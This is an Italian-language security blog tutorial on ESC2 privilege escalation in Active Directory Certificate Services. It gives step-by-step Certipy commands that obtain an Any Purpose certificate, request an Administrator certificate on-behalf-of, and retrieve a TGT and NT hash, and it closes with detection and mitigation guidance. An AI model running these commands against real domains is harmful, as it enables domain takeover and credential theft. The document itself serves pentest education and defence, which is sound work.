ESC2 ADCS Privilege Escalation: Exploit Active Directory con Certipy

ESC2 ADCS Privilege Escalation: sfruttare template con EKU Any Purpose o senza EKU per ottenere Enrollment Agent e Domain Admin con Certipy.
- Pubblicato il 2026-03-06
- Tempo di lettura: 2 min
ESC2 è una tecnica di Active Directory Privilege Escalation tramite AD CS che nasce quando un certificate template permette di ottenere un certificato con Any Purpose EKU oppure nessun EKU definito.
In pratica il certificato può essere usato per qualsiasi scopo, inclusi:
- client authentication
- server authentication
- code signing
- enrollment agent
OID dell’Any Purpose EKU:
2.5.29.37.0Questo implica automaticamente anche:
Certificate Request Agent
1.3.6.1.4.1.311.20.2.1Quindi un attaccante può trasformare il certificato in Enrollment Agent certificate.
Quando esiste una vulnerabilità ESC2 #
ESC2 esiste quando un template ha queste condizioni:
Template con Any Purpose EKU #
Oppure nessun EKU definito.
Output tipico:
Any Purpose : Trueoppure
Extended Key Usage : <empty>Enrollment aperto #
Il template permette enrollment a gruppi come:
Domain Users
Authenticated UsersCome funziona l’attacco #
L’exploit avviene in due fasi.
1️⃣ ottenere certificato Any Purpose 2️⃣ usarlo come Enrollment Agent per richiedere un certificato per Administrator
Identificazione con Certipy #
Enumerazione template:
certipy find -u attacker@corp.local -p 'Passw0rd!'Output tipico:
Template Name : AnyPurposeCert
Any Purpose : True
[!] Vulnerabilities
ESC2 : Template can be used for any purpose
ESC3 : Template has Certificate Request Agent EKU setIndicatori chiave:
Any Purpose : True
Enrollment Agent : True
Enrollment Rights : Domain UsersTemplate target #
Serve anche un template target che permetta enrollment agent.
Esempio:
Template Name : User
Schema Version : 1
Client Authentication : TrueOutput Certipy:
ESC2 Target Template
ESC3 Target TemplateExploitation ESC2 #
L’exploit è molto simile a ESC3.
Step 1 — ottenere certificato Any Purpose #
certipy req \
-u attacker@corp.local -p 'Passw0rd!' \
-dc-ip 10.0.0.100 \
-target CA.CORP.LOCAL \
-ca CORP-CA \
-template AnyPurposeCertOutput:
Successfully requested certificate
Saving certificate to attacker.pfxIl file generato:
attacker.pfxcontiene il certificato Enrollment Agent.
Step 2 — richiedere certificato Administrator #
Usando il certificato ottenuto.
certipy req \
-u attacker@corp.local -p 'Passw0rd!' \
-dc-ip 10.0.0.100 \
-target CA.CORP.LOCAL \
-ca CORP-CA \
-template User \
-pfx attacker.pfx \
-on-behalf-of CORP\AdministratorOutput:
Successfully requested certificate
Saving certificate to administrator.pfxStep 3 — autenticarsi come Administrator #
certipy auth \
-pfx administrator.pfx \
-dc-ip 10.0.0.100Output:
Got TGT
Got NT hash for administratorL’attaccante ottiene:
- Kerberos TGT
- NTLM hash
- accesso Domain Admin
Perché ESC2 è pericoloso #
Perché Any Purpose = Enrollment Agent implicito.
Quindi chiunque ottenga quel certificato può:
richiedere certificati per altri utentiinclusi:
Domain Admin
Domain ControllerDetection ESC2 #
Indicatori principali:
Any Purpose : True
Extended Key Usage : empty
Enrollment Rights : Domain UsersAudit:
certipy findoppure analisi manuale template.
Mitigation ESC2 #
Non usare Any Purpose EKU #
Mai usare:
2.5.29.37.0Definire EKU espliciti #
Esempio sicuro:
Client Authentication
Server AuthenticationLimitare Enrollment #
Non usare:
Domain Users
Authenticated UsersRichiedere Manager Approval #
Template → Issuance Requirements:
CA certificate manager approvalEliminare template V1 #
Molti attacchi ESC2 usano:
User
Machineperché sono Schema Version 1.
FAQ — ESC2 ADCS #
Cos’è ESC2? #
Un template che permette certificati Any Purpose.
Qual è il problema? #
Il certificato diventa Enrollment Agent certificate.
ESC2 porta a Domain Admin? #
Sì, usando on-behalf-of enrollment.
ESC2 è simile a ESC3? #
Sì. ESC2 produce un certificato che può essere usato come Enrollment Agent.
Key Takeaway: se un template permette certificati Any Purpose e gli utenti possono fare enrollment, chiunque può trasformare quel certificato in un Enrollment Agent e richiedere certificati per qualsiasi utente del dominio.
Guida completa AD CS escalation: https://hackita.it/articoli/adcs-esc1-esc16Continua con: https://hackita.it/articoli/esc3-adcs · https://hackita.it/articoli/esc4-adcsSupporta HackIta: https://hackita.it/supportoPentest Active Directory o formazione offensiva: https://hackita.it/serviziRiferimenti tecnici: https://github.com/ly4k/Certipy https://specterops.io/blog/2021/06/17/certified-pre-owned/







